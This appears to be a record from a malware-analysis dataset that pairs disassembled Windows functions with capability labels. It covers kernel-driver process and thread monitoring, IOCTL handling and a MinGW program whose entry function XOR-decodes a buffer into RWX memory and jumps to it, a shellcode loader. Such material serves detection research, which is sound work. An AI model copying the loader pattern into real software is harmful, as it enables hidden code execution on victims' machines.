joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400060c0
Capabilities:
Check os version

Disassembly:
sub rsp, 0x158
mov rax, qword [0x14000e628]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x110
call fcn.1400099c0
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
js 0x1400062be
cmp dword [rsp + 0x24], 6
mov eax, dword [rsp + 0x2c]
mov dword [0x14001956c], eax
jne 0x14000616e
mov eax, dword [rsp + 0x28]
test eax, eax
je 0x14000615f
sub eax, 1
je 0x140006150
sub eax, 1
je 0x140006141
cmp eax, 1
jne 0x1400062be
mov dword [0x140019570], 4
jmp 0x1400062be
mov dword [0x140019570], 3
jmp 0x1400062be
mov dword [0x140019570], 2
jmp 0x1400062be
mov dword [0x140019570], 1
jmp 0x1400062be
cmp dword [rsp + 0x24], 0xa
jne 0x1400062be
mov ecx, 0x4563
cmp eax, ecx
ja 0x140006243
je 0x140006237
sub eax, 0x26ad
je 0x140006228
sub eax, 0x19
je 0x140006228
sub eax, 0x13a
je 0x140006219
sub eax, 0x15a
je 0x14000620a
sub eax, 0xedf
je 0x1400061fb
sub eax, 0x29e
je 0x1400061ec
sub eax, 0x4d4
je 0x1400061dd
cmp eax, 0x343
jne 0x1400062be
mov dword [0x140019570], 0xc
jmp 0x1400062be
mov dword [0x140019570], 0xa
jmp 0x1400062be
mov dword [0x140019570], 9
jmp 0x1400062be
mov dword [0x140019570], 8
jmp 0x1400062be
mov dword [0x140019570], 7
jmp 0x1400062be
mov dword [0x140019570], 6
jmp 0x1400062be
mov dword [0x140019570], 5
jmp 0x1400062be
mov dword [0x140019570], 0xd
jmp 0x1400062be
sub eax, 0x47ba
je 0x1400062b4
sub eax, 1
je 0x1400062a8
sub eax, 0x2a6
je 0x14000629c
sub eax, 1
je 0x140006290
sub eax, 1
je 0x140006284
sub eax, 1
je 0x140006278
cmp eax, 0xb8c
jne 0x1400062be
mov dword [0x140019570], 0x14
jmp 0x1400062be
mov dword [0x140019570], 0x13
jmp 0x1400062be
mov dword [0x140019570], 0x12
jmp 0x1400062be
mov dword [0x140019570], 0x11
jmp 0x1400062be
mov dword [0x140019570], 0x10
jmp 0x1400062be
mov dword [0x140019570], 0xf
jmp 0x1400062be
mov dword [0x140019570], 0xe
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400095b0
add rsp, 0x158
ret

Function at 0x140006684
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rcx
mov qword [0x140019590], rcx
lea rcx, [0x14000ae70]
mov rdi, rdx
call sub.ntoskrnl.exe_DbgPrint
xorps xmm0, xmm0
lea rdx, [0x14000ae90]
xorps xmm1, xmm1
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x20], xmm1
call qword [sym.imp.ntoskrnl.exe_RtlInitAnsiString]
mov r8b, 1
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlAnsiStringToUnicodeString]
movzx r8d, word [rsp + 0x20]
lea rcx, [0x1400195a0]
mov rdx, qword [rsp + 0x28]
call fcn.140009700
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlFreeUnicodeString]
mov rax, qword [sym.imp.ntoskrnl.exe_InitSafeBootMode]
cmp dword [rax], 0
jbe 0x140006711
mov eax, 0xc0000022
jmp 0x140006747
call fcn.1400060c0
mov rdx, rdi
mov rcx, rbx
call fcn.1400084f4
mov ebx, eax
test eax, eax
js 0x140006740
and dword [0x14001957c], 0
and dword [0x140019584], 0
and dword [0x14001958c], 0
xor ebx, ebx
jmp 0x140006745
call fcn.140008968
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400071e0
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rsi, rdx
mov r15, r8
xor edx, edx
mov r14, rcx
xor ebx, ebx
call fcn.140006d34
mov rdi, rax
test rax, rax
jne 0x140007368
mov qword [rbp + 0x48], rbx
test r14, r14
je 0x1400073ad
test rsi, rsi
je 0x1400073ad
lea rdx, [rbp + 0x48]
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x1400073ad
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntoskrnl.exe_PsGetProcessInheritedFromUniqueProcessId]
mov rcx, qword [rbp + 0x48]
mov rdi, rax
test rax, rax
jne 0x140007263
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
jmp 0x1400073ad
mov dword [r15], edi
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov qword [rbp - 8], rbx
mov qword [rbp - 0x10], rbx
mov rax, cr8
mov r15d, 1
cmp al, r15b
ja 0x1400072cf
lea rdx, [rbp - 0x10]
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x1400072cf
lea rax, [rbp - 8]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rax, qword [sym.imp.ntoskrnl.exe_PsProcessType]
mov edx, 0x200
mov byte [rsp + 0x28], bl
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov r14, qword [rbp - 8]
test r14, r14
je 0x1400073ad
mov qword [rsi + 8], rbx
call fcn.140006798
mov rdi, rax
test rax, rax
je 0x14000735d
mov r12d, 0x2d0
mov qword [rsp + 0x20], rbx
mov r9d, r12d
mov r8, rax
mov edx, 0x1b
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationProcess]
test eax, eax
js 0x140007355
cmp word [rdi], bx
je 0x140007355
cmp qword [rdi + 8], rbx
je 0x140007355
call fcn.140006798
mov qword [rsi + 8], rax
test rax, rax
je 0x140007355
movzx r8d, word [rdi]
mov rcx, rax
mov rdx, qword [rdi + 8]
call fcn.140009700
movzx eax, word [rdi]
mov rcx, rsi
mov word [rsi], ax
mov word [rsi + 2], r12w
call fcn.140002378
test al, al
movzx ebx, al
cmovne ebx, r15d
mov rcx, rdi
call fcn.140006814
mov rcx, r14
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x1400073ad
cmp bx, word [rax + 0x20]
je 0x1400073a5
call fcn.140006798
test rax, rax
je 0x1400073a5
xorps xmm0, xmm0
lea rdx, [rdi + 0x20]
movups xmmword [rsi], xmm0
mov r12d, 0x2d0
mov qword [rsi + 8], rax
mov rcx, rsi
mov word [rsi + 2], r12w
call qword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeStringToString]
mov eax, dword [rdi + 8]
mov ebx, 1
mov dword [r15], eax
mov rcx, rdi
call fcn.140006ee4
lea r11, [rsp + 0x50]
mov al, bl
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x1400074a4
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov rdi, rdx
mov rsi, rcx
xor edx, edx
xor ebx, ebx
call fcn.140006d34
mov rbp, rax
test rax, rax
jne 0x1400075f7
test rsi, rsi
je 0x140007630
test rdi, rdi
je 0x140007630
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rbx
mov rax, cr8
lea r14d, [rbx + 1]
cmp al, r14b
ja 0x14000755a
lea rdx, [rsp + 0x80]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
test eax, eax
js 0x14000755a
lea rax, [rsp + 0x88]
xor r9d, r9d
mov qword [rsp + 0x30], rax
xor r8d, r8d
mov rax, qword [sym.imp.ntoskrnl.exe_PsProcessType]
mov edx, 0x200
mov byte [rsp + 0x28], bl
mov rcx, qword [rax]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_ObOpenObjectByPointer]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rbp, qword [rsp + 0x88]
test rbp, rbp
je 0x140007630
mov qword [rdi + 8], rbx
call fcn.140006798
mov rsi, rax
test rax, rax
je 0x1400075ec
mov r15d, 0x2d0
mov qword [rsp + 0x20], rbx
mov r9d, r15d
mov r8, rax
mov edx, 0x1b
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_ZwQueryInformationProcess]
test eax, eax
js 0x1400075e4
cmp word [rsi], bx
je 0x1400075e4
cmp qword [rsi + 8], rbx
je 0x1400075e4
call fcn.140006798
mov qword [rdi + 8], rax
test rax, rax
je 0x1400075e4
movzx r8d, word [rsi]
mov rcx, rax
mov rdx, qword [rsi + 8]
call fcn.140009700
movzx eax, word [rsi]
mov rcx, rdi
mov word [rdi], ax
mov word [rdi + 2], r15w
call fcn.140002378
test al, al
movzx ebx, al
cmovne ebx, r14d
mov rcx, rsi
call fcn.140006814
mov rcx, rbp
call qword [sym.imp.ntoskrnl.exe_ZwClose]
jmp 0x140007630
call fcn.140006798
test rax, rax
je 0x140007628
xorps xmm0, xmm0
lea rdx, [rbp + 0x10]
movups xmmword [rdi], xmm0
mov r15d, 0x2d0
mov qword [rdi + 8], rax
mov rcx, rdi
mov word [rdi + 2], r15w
call qword [sym.imp.ntoskrnl.exe_RtlAppendUnicodeStringToString]
mov ebx, 1
mov rcx, rbp
call fcn.140006ee4
mov al, bl
mov rbx, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140008314
Capabilities:
Create device object

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x60
xor ebx, ebx
mov rsi, r8
mov qword [rbp + 0x10], rbx
mov rdi, rdx
mov dword [rbp - 0x20], ebx
mov qword [rbp - 0x18], rbx
mov dword [rbp - 0x10], ebx
mov qword [rbp - 8], rbx
test rcx, rcx
je 0x1400083bb
test rdx, rdx
je 0x1400083bb
mov rdx, rcx
lea rcx, [rbp - 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rdx, rdi
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rbp + 0x10]
xor edx, edx
mov qword [rsp + 0x30], rax
lea r9d, [rbx + 0x22]
mov byte [rsp + 0x28], bl
lea r8, [rbp - 0x20]
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
test eax, eax
js 0x1400083b7
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
or dword [rax + 0x30], 4
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
test eax, eax
jns 0x1400083b7
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
jmp 0x1400083bb
mov rbx, qword [rbp + 0x10]
lea r11, [rsp + 0x60]
mov rax, rbx
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400085d4
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, 0x22002c
mov rdi, r8
mov ebx, 0xc0000001
cmp edx, eax
ja 0x14000872a
je 0x140008720
sub edx, 0x220000
je 0x140008716
sub edx, 4
je 0x14000870c
sub edx, 0x18
je 0x140008702
sub edx, 4
je 0x140008692
sub edx, 4
je 0x140008637
cmp edx, 4
jne 0x140008783
mov rcx, r8
call fcn.1400059c4
jmp 0x140008781
call fcn.140006754
xor ebx, ebx
lea r9, [0x14000ae90]
lea rdx, [0x14000b060]
test al, al
jne 0x14000866a
mov r8d, 0x118
lea rcx, [0x14000b070]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rdi + 0x10]
mov dword [rax], ebx
jmp 0x140008686
mov r8d, 0x11d
lea rcx, [0x14000b0a0]
call sub.ntoskrnl.exe_DbgPrint
mov rax, qword [rdi + 0x10]
mov dword [rax], 1
mov dword [rdi + 0x1c], 4
jmp 0x140008783
mov ecx, 0x80
cmp dword [r8 + 0x18], ecx
jb 0x140008783
movups xmm0, xmmword [0x1400195a0]
mov rax, qword [r8 + 0x10]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400195b0]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400195c0]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400195d0]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1400195e0]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [0x1400195f0]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [0x140019600]
movups xmmword [rax + 0x60], xmm0
movups xmm1, xmmword [0x140019610]
movups xmmword [rax + 0x70], xmm1
mov dword [r8 + 0x1c], ecx
jmp 0x14000875b
mov rcx, rdi
call fcn.140008790
jmp 0x140008781
mov rcx, rdi
call fcn.1400084bc
jmp 0x140008781
mov rcx, rdi
call fcn.140008940
jmp 0x140008781
mov rcx, rdi
call fcn.140005420
jmp 0x140008781
sub edx, 0x220030
je 0x140008779
sub edx, 4
je 0x14000876c
sub edx, 4
je 0x14000875f
sub edx, 4
je 0x140008750
cmp edx, 4
jne 0x140008783
mov rcx, rdi
call fcn.140008480
jmp 0x140008781
mov rax, qword [r8]
mov cl, byte [rax]
mov byte [0x14000eec9], cl
xor ebx, ebx
jmp 0x140008783
mov rax, qword [r8]
mov ecx, dword [rax]
mov dword [0x14000e644], ecx
jmp 0x14000875b
mov rax, qword [r8]
mov ecx, dword [rax]
mov dword [0x14000e640], ecx
jmp 0x14000875b
mov rcx, qword [r8]
call fcn.140004d98
mov ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140008a04
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400089f0]
call qword [sym.imp.ntoskrnl.exe_PsSetCreateThreadNotifyRoutine]
test eax, eax
js 0x140008a1d
mov al, 1
jmp 0x140008a3b
mov r9d, eax
lea rdx, [0x14000b0d0]
mov r8d, 0x21
lea rcx, [0x14000b0f0]
call sub.ntoskrnl.exe_DbgPrint
xor al, al
add rsp, 0x28
ret

Function at 0x140008a40
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
lea rcx, [0x1400089f0]
call qword [sym.imp.ntoskrnl.exe_PsRemoveCreateThreadNotifyRoutine]
test eax, eax
jns 0x140008a71
mov r9d, eax
lea rdx, [0x14000b130]
mov r8d, 0x2c
lea rcx, [0x14000b150]
call sub.ntoskrnl.exe_DbgPrint
add rsp, 0x28
ret
Function at 0x140008b50
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x14001b860]
call fcn.1400082cc
mov rbx, qword [0x14001b8d0]
lea rdi, [0x14001b8d0]
cmp rbx, rdi
je 0x140008bbe
cmp qword [rbx + 8], rdi
jne 0x140008bc9
mov rax, qword [rbx]
cmp qword [rax + 8], rbx
jne 0x140008bc9
mov qword [0x14001b8d0], rax
lea rcx, [rbx + 0x10]
mov dl, 1
mov qword [rax + 8], rdi
call fcn.14000687c
mov rcx, rbx
call fcn.140005d9c
mov rbx, qword [0x14001b8d0]
cmp rbx, rdi
jne 0x140008b79
lea rcx, [0x14001b860]
call fcn.1400082fc
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov ecx, 3
int 0x29
Function at 0x140008bd0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
xor r13d, r13d
lea rdx, [0x14000b1b0]
mov r12, rcx
mov qword [rbp + 0x77], r13
lea rcx, [rbp - 0x19]
mov dword [rbp + 0x6f], r13d
mov r14b, r13b
mov dword [rbp - 0x39], r13d
mov ebx, r13d
mov edi, r13d
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [0x14000b230]
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rbp - 0x19]
mov dword [rbp - 9], 0x30
xorps xmm0, xmm0
mov qword [rbp + 7], rax
lea r8, [rbp - 9]
mov qword [rbp - 1], r13
lea edx, [r13 + 1]
mov dword [rbp + 0xf], 0x240
lea rcx, [rbp + 0x77]
movdqu xmmword [rbp + 0x17], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x140008d63
mov rcx, qword [rbp + 0x77]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
lea r15d, [r13 + 2]
mov r8d, r15d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
lea rdx, [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0xc0000023
je 0x140008c9d
cmp eax, 0x80000005
jne 0x140008d63
mov esi, dword [rbp + 0x6f]
add esi, 0x10
mov ecx, esi
call fcn.140006314
mov rbx, rax
test rax, rax
je 0x140008d63
mov rcx, qword [rbp + 0x77]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x29]
mov r9, rbx
mov dword [rsp + 0x20], esi
mov r8d, r15d
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
js 0x140008d63
mov edx, dword [rbx + 8]
lea rax, [rdx - 4]
cmp rax, 1
jb 0x140008d63
mov r15b, byte [rdx + rbx + 8]
mov ecx, 0x5c
sub cl, r15b
neg cl
sbb esi, esi
and esi, 2
lea ecx, [rsi + rdx]
call fcn.140006314
mov qword [rbp - 0x31], rax
mov rdi, rax
test rax, rax
je 0x140008d63
mov r8d, dword [rbx + 8]
lea rdx, [rbx + 0xc]
mov rcx, rax
call fcn.140009700
mov ecx, 0x5c
cmp r15b, cl
je 0x140008d39
mov eax, dword [rbx + 8]
shr eax, 1
dec eax
mov word [rdi + rax*2], cx
mov eax, dword [rbx + 8]
mov r14b, 1
add eax, esi
shr eax, 1
dec eax
mov word [rdi + rax*2], r13w
add si, word [rbx + 8]
mov word [rbp - 0x37], si
lea eax, [rsi - 2]
mov word [rbp - 0x39], ax
movups xmm0, xmmword [rbp - 0x39]
movdqu xmmword [r12], xmm0
mov rcx, qword [rbp + 0x77]
test rcx, rcx
je 0x140008d76
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov qword [rbp + 0x77], r13
test rbx, rbx
je 0x140008d83
mov rcx, rbx
call fcn.140005d9c
test r14b, r14b
jne 0x140008d95
test rdi, rdi
je 0x140008d95
mov rcx, rdi
call fcn.140005d9c
mov rbx, qword [rsp + 0xd0]
mov al, r14b
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400092a8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
xor ebx, ebx
lea rdx, [0x14000b250]
lea rcx, [rbp - 0x19]
mov qword [rbp + 0x6f], rbx
mov r15b, bl
mov dword [rbp + 0x67], ebx
mov edi, ebx
mov dword [rbp - 0x39], ebx
mov esi, ebx
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rdx, [0x14000b340]
lea rcx, [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rax, [rbp - 0x19]
mov dword [rbp - 9], 0x30
xorps xmm0, xmm0
mov qword [rbp + 7], rax
lea r8, [rbp - 9]
mov qword [rbp - 1], rbx
lea edx, [rbx + 1]
mov dword [rbp + 0xf], 0x240
lea rcx, [rbp + 0x6f]
movdqu xmmword [rbp + 0x17], xmm0
call qword [sym.imp.ntoskrnl.exe_ZwOpenKey]
test eax, eax
js 0x140009459
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
mov qword [rsp + 0x28], rax
lea r12d, [rbx + 2]
mov r8d, r12d
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea rdx, [rbp - 0x29]
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
cmp eax, 0xc0000023
je 0x14000936b
cmp eax, 0x80000005
jne 0x140009459
mov r14d, dword [rbp + 0x67]
add r14d, 0x10
mov ecx, r14d
call fcn.140006314
mov rdi, rax
test rax, rax
je 0x140009459
mov rcx, qword [rbp + 0x6f]
lea rax, [rbp + 0x67]
mov qword [rsp + 0x28], rax
lea rdx, [rbp - 0x29]
mov r9, rdi
mov dword [rsp + 0x20], r14d
mov r8d, r12d
call qword [sym.imp.ntoskrnl.exe_ZwQueryValueKey]
test eax, eax
js 0x140009459
mov edx, dword [rdi + 8]
lea rax, [rdx - 4]
cmp rax, 1
jb 0x140009459
mov r12b, byte [rdx + rdi + 8]
mov r13d, 0x5c
mov ecx, r13d
sub cl, r12b
neg cl
sbb r14d, r14d
and r14d, 2
lea ecx, [r14 + rdx]
call fcn.140006314
mov qword [rbp - 0x31], rax
mov rsi, rax
test rax, rax
je 0x140009459
mov r8d, dword [rdi + 8]
lea rdx, [rdi + 0xc]
mov rcx, rax
call fcn.140009700
cmp r12b, r13b
je 0x140009412
mov eax, dword [rdi + 8]
shr eax, 1
dec eax
mov word [rsi + rax*2], r13w
mov eax, dword [rdi + 8]
lea rcx, [0x14001b7e0]
add eax, r14d
shr eax, 1
dec eax
mov word [rsi + rax*2], bx
add r14w, word [rdi + 8]
mov word [rbp - 0x37], r14w
lea eax, [r14 - 2]
mov word [rbp - 0x39], ax
call fcn.1400082cc
movups xmm0, xmmword [rbp - 0x39]
lea rcx, [0x14001b7e0]
movdqu xmmword [0x14001b7c0], xmm0
call fcn.1400082fc
mov r15b, 1
mov rcx, qword [rbp + 0x6f]
test rcx, rcx
je 0x14000946c
call qword [sym.imp.ntoskrnl.exe_ZwClose]
mov qword [rbp + 0x6f], rbx
test rdi, rdi
je 0x140009479
mov rcx, rdi
call fcn.140005d9c
test r15b, r15b
jne 0x140009491
test rsi, rsi
je 0x14000948b
mov rcx, rsi
call fcn.140005d9c
xchg dword [0x14001b7c8], ebx
mov rbx, qword [rsp + 0xe0]
mov al, r15b
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400097c0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1400097d0]
mov dword [rax], 1
mov rax, qword [0x1400097e0]
mov dword [rax], 1
mov rax, qword [0x140009760]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400097b0]
mov dword [0x14000c020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140009890]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140009870]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140009710]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000157a
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x130
lea rbp, [rsp + 0x80]
lea rax, str.bob89324.com
mov qword [rbp + 0xa8], rax
mov rdx, qword [rbp + 0xa8]
lea rax, [rbp - 0x60]
mov r9, rdx
lea r8, str.ping___s
mov edx, 0x100
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0xffffffff
jne 0x1400015eb
lea rax, str.skrillissue
mov rcx, rax
call sym.perror
mov eax, 0
jmp 0x140001600
cmp dword [rbp + 0xa4], 0
jne 0x1400015fb
mov eax, 1
jmp 0x140001600
mov eax, 0
add rsp, 0x130
pop rbp
ret
Function at 0x140001609
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x30
lea rbp, [rsp + 0x30]
call dbg.__main
call sym.detect
mov byte [rbp - 5], al
cmp byte [rbp - 5], 0
je 0x140001632
mov eax, 0
jmp 0x1400016f7
mov byte [rbp - 6], 0x42
mov dword [rbp - 4], 0
jmp 0x140001667
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x140008020]
movzx eax, byte [rax + rdx]
xor al, byte [rbp - 6]
mov ecx, eax
mov eax, dword [rbp - 4]
cdqe
lea rdx, [0x140008020]
mov byte [rax + rdx], cl
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cmp eax, 0x148
jbe 0x14000163f
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x14a
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
lea rdx, [0x140008020]
mov ecx, 0x14a
mov r8, qword [rdx]
mov qword [rax], r8
mov r8d, ecx
add r8, rax
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rdx
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rax + 8]
and r8, 0xfffffffffffffff8
sub rax, r8
sub rdx, rax
add ecx, eax
and ecx, 0xfffffff8
mov eax, ecx
shr eax, 3
mov eax, eax
mov rdi, r8
mov rsi, rdx
mov rcx, rax
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp - 0x10]
call rax
mov eax, 0
add rsp, 0x30
pop rsi
pop rdi
pop rbp
ret

Function at 0x1400019c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]